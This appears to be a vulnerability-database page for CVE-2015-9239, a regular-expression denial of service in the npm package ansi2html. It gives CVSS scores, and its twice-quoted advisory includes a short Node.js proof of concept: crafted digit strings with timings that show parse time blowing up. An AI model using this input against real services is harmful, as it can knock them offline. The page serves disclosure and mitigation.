CVE-2015-9239
Regular Expression Denial of Service in ansi2html
ansi2html is vulnerable to regular expression denial of service (ReDoS) when certain types of user input is passed in.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- None
- Integrity
- None
- Availability
- High
Exploit likelihood
What each source reports
NVD Score used
7.5
ansi2html is vulnerable to regular expression denial of service (ReDoS) when certain types of user input is passed in.
- Record
CVE-2015-9239- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - CVSS 2.0
- 5.0 Medium
AV:N/AC:L/Au:N/C:N/I:N/A:P - Weakness
- CWE-400, CWE-20
- Updated
- 2026-11-02
CVE List No score
ansi2html is vulnerable to regular expression denial of service (ReDoS) when certain types of user input is passed in.
- Record
CVE-2015-9239- Weakness
- CWE-400
- Updated
- 2026-11-02
EUVDEUVD-2020-0958 No score
ansi2html is vulnerable to regular expression denial of service (ReDoS) when certain types of user input is passed in.
- Record
EUVD-2020-0958- Updated
- 2026-11-03
GitHub AdvisoriesGHSA-c2v2-7rcg-2ch7 No score
Regular Expression Denial of Service in ansi2html
The ansi2html package is affected by a regular expression denial of service vulnerability when certain types of user input is passed in.
Proof of concept
var ansi2html = require('ansi2html')
var start = process.hrtime();
ansi2html("[1111111111111111111111;0000000000000000000000");
console.log(process.hrtime(start));
start = process.hrtime();
ansi2html("[1111111111111111111111;00000000000000000000000");
console.log(process.hrtime(start));
start = process.hrtime();
ansi2html("[1111111111111111111111;000000000000000000000000");
console.log(process.hrtime(start));
start = process.hrtime();
ansi2html("[1111111111111111111111;0000000000000000000000000000");
console.log(process.hrtime(start));
Results of the above
00:29:53-adam_baldwin~/tmp$ node test
[ 0, 119615367 ]
[ 0, 149934565 ]
[ 0, 233325677 ]
[ 3, 46582479 ]
Recommendation
At the time of this writing, February 2018, all versions of ansi2html remain vulnerable, and the package has not been updated for 4 years.
In order to use this package safely, it is necessary to avoid passing user input to the package, or to limit the size of the input string to a size with a parse time you find acceptable. Unfortunately, the match time grows at quite a small character count, so it is unlikely for it to both allow strings of a useful size while protecting against the denial of service attack.
In the case that user input of significant length must be parsed by ansi2html, the best mitigation is to use an alternative module that is actively maintained and provides similar functionality. There are [multiple modules fitting this criteria available on npm.]available on npm
- Record
GHSA-c2v2-7rcg-2ch7- Weakness
- CWE-400
- Updated
- 2026-11-02
OSVGHSA-c2v2-7rcg-2ch7 No score
Regular Expression Denial of Service in ansi2html
The ansi2html package is affected by a regular expression denial of service vulnerability when certain types of user input is passed in.
Proof of concept
var ansi2html = require('ansi2html')
var start = process.hrtime();
ansi2html("[1111111111111111111111;0000000000000000000000");
console.log(process.hrtime(start));
start = process.hrtime();
ansi2html("[1111111111111111111111;00000000000000000000000");
console.log(process.hrtime(start));
start = process.hrtime();
ansi2html("[1111111111111111111111;000000000000000000000000");
console.log(process.hrtime(start));
start = process.hrtime();
ansi2html("[1111111111111111111111;0000000000000000000000000000");
console.log(process.hrtime(start));
Results of the above
00:29:53-adam_baldwin~/tmp$ node test
[ 0, 119615367 ]
[ 0, 149934565 ]
[ 0, 233325677 ]
[ 3, 46582479 ]
Recommendation
At the time of this writing, February 2018, all versions of ansi2html remain vulnerable, and the package has not been updated for 4 years.
In order to use this package safely, it is necessary to avoid passing user input to the package, or to limit the size of the input string to a size with a parse time you find acceptable. Unfortunately, the match time grows at quite a small character count, so it is unlikely for it to both allow strings of a useful size while protecting against the denial of service attack.
In the case that user input of significant length must be parsed by ansi2html, the best mitigation is to use an alternative module that is actively maintained and provides similar functionality. There are [multiple modules fitting this criteria available on npm.]available on npm
- Record
GHSA-c2v2-7rcg-2ch7- Weakness
- CWE-400
- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
ansi2htmlnpm |
0.0.0 and later | None known |
History
| Recorded | Changed | Sources |
|---|---|---|
| aliases | EUVD | |
| first indexed | CVE List, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2015-9239 is a high vulnerability (CVSS 7.5) in Ansi2html Project Ansi2html, published May 31, 2018. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 1.13%, the 66th percentile. No source names a fixed version.